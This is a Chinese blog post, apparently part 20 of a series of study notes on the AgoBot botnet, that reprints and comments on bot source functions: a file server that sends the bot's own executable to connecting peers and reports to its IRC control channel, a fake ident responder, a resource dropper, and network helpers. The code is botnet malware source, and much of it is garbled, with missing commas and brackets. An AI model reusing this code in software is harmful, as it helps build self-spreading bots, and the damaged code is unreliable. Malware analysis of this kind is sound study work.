AgoBot 僵尸网络研究笔记(二十)

二十、2008年04月18日

作者:青青子衿

email:[email protected]

1、charGetFilename(charszFilenamesize_t sBufSize)函数,

void *CSendFile::Run()函数中会被用到。

/*

This returns the filename of the executable in the filesystem

Win32: uses GetModuleFilename on the currently running module

Linux: uses /proc/<pid>/exe which is a like to the executable image

*/

/////////////////////////////////////////////////////////////////////

//

//函数功能:获得当前文件名称(包括路径)

//参数: char* szFilename 保存文件名的buffer

// size_t sBufSize 的长度

//返回值: 文件名

//

//////////////////////////////////////////////////////////////////////

charGetFilename(charszFilenamesize_t sBufSize)

{

#ifdef WIN32

GetModuleFileName(GetModuleHandle(NULL), szFilenamesBufSize);

return szFilename;

#else

//linux平台现在不考虑

char szLinkname[64]; 

pid_t pSelf=getpid(); 

int iRet;

snprintf(szLinknamesizeof(szLinkname), "/proc/%i/exe"pSelf);

iRet=readlink(szLinknameszFilenamesBufSize);

if(iRet==-1) 

{

return NULL

}

if(iRet>=sBufSize

errno=ERANGE

return NULL

}

szFilename[iRet]=0; 

return szFilename;

#endif

}

2void *CSendFile::Run()  函数

////////////////////////////////////////////////////////////////

//

//函数功能:类中具体实现发送文件的函数

//参数:

//返回值: void * 始终是NULL

//

//////////////////////////////////////////////////////////////////

void *CSendFile::Run()

{

int m_sListenSocket;

sockaddr_in m_lAddr;

int sClientSocket

sockaddr_in cAddr;

socklen_t cAddrLen=sizeof(cAddr);

unsigned char fileBuf[4096];

FILE *fp=NULL;

memset(&m_lAddr, 0, sizeof(m_lAddr));

m_lAddr.sin_family=AF_INET;

m_lAddr.sin_addr.s_addr=INADDR_ANY;

m_lAddr.sin_port=htons(g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

//创建套接字

m_sListenSocket=socket(AF_INETSOCK_STREAMIPPROTO_TCP);

if(m_sListenSocket==SOCKET_ERROR

g_cMainCtrl.m_lCanJoin.push_back(this);   //将本线程,从线程堆栈中弹出

return NULL;

}

#ifdef DBGCONSOLE

//写入发送文件的日志

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Binding CSendFile to port %d./n"thisg_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

#endif

if(bind(m_sListenSocket, (sockaddr*)&m_lAddrsizeof(m_lAddr))!=0)

//调用bind失败,关闭套接字

xClose(m_sListenSocket); 

g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL

}

#ifdef DBGCONSOLE

//写入发送文件的日志

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Listening on port %d./n"thisg_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

#endif

while(g_cMainCtrl.m_bRunning)

{

if(listen(m_sListenSocket, 10)==SOCKET_ERROR

Sleep(250); 

continue

}

//调用accept接收函数,

sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen);

if(sClientSocket!=SOCKET_ERROR)

{

// Get the remote ip via getpeername

sockaddr sa;

socklen_t sas=sizeof(sa);

memset(&sa, 0, sizeof(sa));

getpeername(sClientSocket, &sa, &sas);//获取与套接口相连的本地端地址

// Break if the ip is 0.0.0.0

if(!(unsigned char)sa.sa_data[2]) 

{

//如果sa.sa_data[2]等于0,执行这里

continue;

}

//向bot控制端发送相应的bot运行状况信息

g_cMainCtrl.m_cIRC.SendFormat(falsefalseg_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),

"CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted."this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#ifdef DBGCONSOLE

//将运行状况信息写入日志

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted./n"this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#endif

int count=4096;

CString sFileName;

GetFilename(sFileName.GetBuffer(4096), 4096); //获得文件名称

fp=fopen(sFileName.CStr(), "rb");  //打开该文件

if(fp

{

#ifdef DBGCONSOLE

//写入日志

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Sending file.../n"this);

#endif

fseek(fp, 0, SEEK_END); 

long filesize=ftell(fp);  //获得文件的长度

fseek(fp, 0, SEEK_SET);

char *filesize1=(char*)&filesize;  //将保存文件长度的内存地址保存到filesize1字符串指针中

char fsbuf[4]; 

fsbuf[4]='/0'

fsbuf[0]=(char)filesize1[0]; 

fsbuf[1]=(char)filesize1[1];

fsbuf[2]=(char)filesize1[2]; 

fsbuf[3]=(char)filesize1[3];

xWrite(sClientSocket, (char*)fsbufsizeof(long)); //将文件长度发送出去。

while(count==4096)

{

memset(fileBuf, 0, sizeof(fileBuf));

count=fread(fileBufsizeof(char), 4096, fp); //从文件中读取4096长度的内容。

if(ferror(fp))

//如果读取失败,跳出读文件的循环

break;

}

xWrite(sClientSocket, (char*)fileBufcount); //将读取的文件内容发送出去。

}

//向bot的控制台返回相关信息。

g_cMainCtrl.m_cIRC.SendFormat(falsefalseg_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),

"CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished."this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#ifdef DBGCONSOLE

//写日志

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished./n"this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#endif

fclose(fp);  //关闭文件指针

}

xClose(sClientSocket);  //关闭accept函数创建的网络套接字

}

Sleep(2500);  //程序休息2.5秒

}

xClose(m_sListenSocket); //关闭socket函数创建的套接字

return NULL;

}

3int DoTcpBind(int iPort)  函数

/////////////////////////////////////////////////////////////////

//

//函数功能:负责TCP协议的bind操作

//参数: int iPort   端口号

//返回值: 套接字的值

//

////////////////////////////////////////////////////////////////////

int DoTcpBind(int iPort)

{

int sListenSocket=socket(AF_INETSOCK_STREAMIPPROTO_TCP); //创建套接字

if(sListenSocket==INVALID_SOCKET)

{

//如果创建失败,程序返回SOCKET_ERROR。

return SOCKET_ERROR;

}

sockaddr_in ssin;

memset(&ssin, 0, sizeof(ssin)); 

ssin.sin_family=AF_INET;

ssin.sin_port=htons(iPort);

ssin.sin_addr.s_addr=INADDR_ANY;

if(bind(sListenSocket, (sockaddr*)&ssinsizeof(ssin))!=0)//调用bind函数。

{

xClose(sListenSocket);

return SOCKET_ERROR;

}

return sListenSocket//返回创建的套接字

}

4int DoTcpAccept(int sSocket) 函数

/////////////////////////////////////////////////////////////////

//

//函数功能:赋值TCP协议的Accept操作

//参数: int sSocket 创建的套接字

//返回值: 是有accept函数创建的新套接字

//

//

//////////////////////////////////////////////////////////////

int DoTcpAccept(int sSocket)

{

if(listen(sSocket, 10)==SOCKET_ERROR)  //调用listen函数

{

return SOCKET_ERROR;

}

sockaddr_in cssin

socklen_t clen=sizeof(cssin);

int sClientSocket=accept(sSocket, (sockaddr*)&cssin, &clen); //调用accept函数

if(sClientSocket==SOCKET_ERROR

{

return SOCKET_ERROR;

}

return sClientSocket

}

5void *CIdentD::Run()函数

///////////////////////////////////////////////////////////////////////

//

//函数功能:发送以暱称为主的数据,具体功能还不清楚

//参数:

//返回值: void *

//

///////////////////////////////////////////////////////////////////////////

void *CIdentD::Run()

{

//和类的成员变量重复了,不可理解

int m_sListenSocket;

sockaddr_in m_lAddr;

int sClientSocket

sockaddr_in cAddr;

socklen_t cAddrLen=sizeof(cAddr);

char ibuff[64];

memset(&m_lAddr, 0, sizeof(m_lAddr));

m_lAddr.sin_family=AF_INET;

m_lAddr.sin_addr.s_addr=INADDR_ANY;

m_lAddr.sin_port=htons(113); //端口113

m_sListenSocket=DoTcpBind(m_lAddr.sin_port);  //调用bind函数返回套接字

if(m_sListenSocket==SOCKET_ERROR

{

//如果创建套接字失败。

return false;

}

#ifdef DBGCONSOLE

//写日志信息

g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Binding IdentD to port 113./n"this);

#endif

if(bind(m_sListenSocket, (sockaddr*)&m_lAddrsizeof(m_lAddr))!=0) 

//bind函数调用失败

g_cMainCtrl.m_bIdentD_Running = false;

g_cMainCtrl.m_cIdentD.Kill(); //终止线程,那么这个函数在这里就应该结束了。

}

#ifdef DBGCONSOLE

//写入日志

g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Listening on port 113./n"this);

#endif

g_cMainCtrl.m_bIdentD_Running = true//表示正在运行CIndent

while(!g_cMainCtrl.m_cBot.m_bJoined)

{

if(listen(m_sListenSocket, 10)==SOCKET_ERROR

//调用listern函数,失败后,休息2秒后,终止线程

Sleep(2000); 

g_cMainCtrl.m_cIdentD.Kill(); 

}

sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen); //调用accept函数

if(sClientSocket!=SOCKET_ERROR)

{

// Get the remote ip via getpeername

sockaddr sa

socklen_t sas=sizeof(sa); 

memset(&sa, 0, sizeof(sa)); 

getpeername(sClientSocket, &sa, &sas);//获得网络所连接的令一端的信息

// Break if the ip is 0.0.0.0

if(!(unsigned char)sa.sa_data[2]) 

{

continue;

}

#ifdef DBGCONSOLE

//写入日志

g_cMainCtrl.m_cConsDbg.Log(5, "IdentD: Connection from %d.%d.%d.%d accepted./n"this, /

(unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#endif

srand(GetCycleCount());  //初始化一个随机数生成器

memset(ibuff, 0, sizeof(ibuff)); //ibuff清空

sprintf(ibuff"%d, %d : USERID : UNIX : %s/r/n"rand()%6000+1, 113, RndNick(g_cMainCtrl.m_cBot.si_nickprefix.sValue.CStr())); // build ident reply

xWrite(sClientSocket, (char*)ibuffsizeof(ibuff)); //发送数据   // send file

xClose(sClientSocket); 

}

Sleep(2500);

xClose(m_sListenSocket);

g_cMainCtrl.m_bIdentD_Running = false;

g_cMainCtrl.m_cIdentD.Kill();

}

xClose(m_sListenSocket);

return NULL;

}

6bool WriteFile(const char *filenameint resnumLPCTSTR lpModuleName) 函数

//////////////////////////////////////////////////////////////////////////////////

//

//函数功能:将资源中的信息,写到文件中

//参数: const char *filename 文件名称

// int resnum 资源的名称,对应的标识,该对应关系在资源表中

// LPCTSTR lpModuleName  包含资源的模块的名称

//返回值: bool 调用成功返回true,否则返回false

//

/////////////////////////////////////////////////////////////////////////////////////

bool WriteFile(const char *filenameint resnumLPCTSTR lpModuleName)

{

FILE *fp=fopen(filename"wb");

if(!fp

{

return false;

}

HMODULE hMod=GetModuleHandle(lpModuleName); 

if(!hMod

{

return false;

}

HRSRC hBinary=FindResource(hModMAKEINTRESOURCE(resnum), TEXT("BINRES")); 

if(!hBinary

{

return false;

}

HGLOBAL hGbDesc=LoadResource(hModhBinary); 

DWORD dwSize=SizeofResource(hModhBinary); 

PBYTE pData=(unsigned char*)LockResource(hGbDesc); 

fwrite(pDatasizeof(unsigned char), dwSizefp);

fclose(fp);

UnlockResource(hBinary);

return true

}

7unsigned long ResolveAddress(const char *szHost)  函数

/*

This turns a numeric ip or hostname into an unsigned long

*/

//////////////////////////////////////////////////////////////

//

//函数功能:将主机名或是字符串形式的IP地址转换成DWORD形式的IP地址,

//参数: const char *szHost 保存主机名或IP的字符串

//返回值: IP地址

//

//////////////////////////////////////////////////////////////////////////

unsigned long ResolveAddress(const char *szHost)

{

unsigned long lAddr=inet_addr(szHost);

if(lAddr==INADDR_NONE)

{

hostent *pHE=gethostbyname(szHost);

if(!pHE

{

return INADDR_NONE;

}

lAddr=*((unsigned long*)pHE->h_addr_list[0]); 

}

return lAddr

}

8unsigned short checksum(unsigned short *bufferint size) 函数

/*

This calculates a TCP/IP checksum

*/

//////////////////////////////////////////////////////////

//

//函数功能:计算IP协议的校验和

//参数: unsigned short *buffer 保存数据包的buffer

// int size buffer的长度

//返回值: 最终计算出来的校验值

//

//////////////////////////////////////////////////////////

unsigned short checksum(unsigned short *bufferint size)

{

unsigned long cksum=0;

while(size>1) 

cksum+=*buffer++; 

size-=2; 

}

if(size

{

cksum+=*(unsigned char*)buffer;

}

cksum=(cksum>>16)+(cksum&0xffff); 

cksum+=(cksum>>16);

return(unsigned short)(~cksum); 

}

9in_addr &to_in_addr(unsigned long lHost) 函数

/*

This returns a static in_addr with a host assigned

*/

////////////////////////////////////////////////////////////

//

//函数功能:将IP地址写入in_addr结构体

//参数: unsigned long lHost   dword类型的IP地址

//返回值: in_addr 类型的引用

//

///////////////////////////////////////////////////////////

in_addr &to_in_addr(unsigned long lHost)

{

static in_addr ina;

ina.s_addr=lHost;

return ina

}

10int GetFileSize(FILE *fp) 函数

///////////////////////////////////////////////////////

//

//函数功能:获得文件长度

//参数: FILE *fp 文件指针

//返回值: int 文件的长度

//

////////////////////////////////////////////////////////

int GetFileSize(FILE *fp)

{

long lLastPos=ftell(fp); 

fseek(fp, 0, SEEK_END);

long lFileSize=ftell(fp); 

fseek(fplLastPosSEEK_SET);

return (int)lFileSize

}

11bool ParseURL(const char *szURLurl *pURL) 函数

/*

This breaks an URL to pieces, and stores them in pURL

*/

//////////////////////////////////////////////////////////////

//

//函数功能:解析URL字符串

//参数: const char *szURL  url字符串

// url *pURL 保存解析结果的url类型

//返回值: bool 调用成功返回true,否则返回false

//

/////////////////////////////////////////////////////////////////

bool ParseURL(const char *szURLurl *pURL)

{

if(!szURL)

{

return false

}

CString sURL;

sURL.Assign(szURL);

// Get the protocol (ie. http), and check if its a supported protocol

pURL->sProto.Assign(sURL.Token(0, ":")); //提取字符串冒号前的协议名称

if(pURL->sProto.Compare("http") && pURL->sProto.Compare("ftp"))

{

//如果协议名称既不是http也不是ftp,则函数返回。

return false;

}

// Get the hostname and check if it isnt empty

//sURL.Token(1, "/").Token(0, ":")关注这句的调用是右优先级高,先找“:”字符,再找“/”

pURL->sHost.Assign(sURL.Token(1, "/").Token(0, ":"));

if(!pURL->sHost.Compare("")) 

{

//提取的字符串是否是null

return false;

}

// Get the port and check if it isnt null 获得端口

pURL->iPort=atoi(sURL.Token(1, "/").Token(1, ":").CStr());

//如果字符串中没有端口,那么端口为默认端口80

if(!pURL->iPort

{

pURL->iPort=80;

}

// Get the request for the server 推测是获取后便的参数,在这里静态的分析,不如以后调试一下更有效

CString sReq=sURL.Mid(sURL.Find("/"));

sReq=sReq.Mid(sReq.Find("/"));

sReq=sReq.Mid(sReq.Find("/"));

pURL->sReq.Assign("/"); 

pURL->sReq.Append(sReq.Token(0, " "));

return true

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章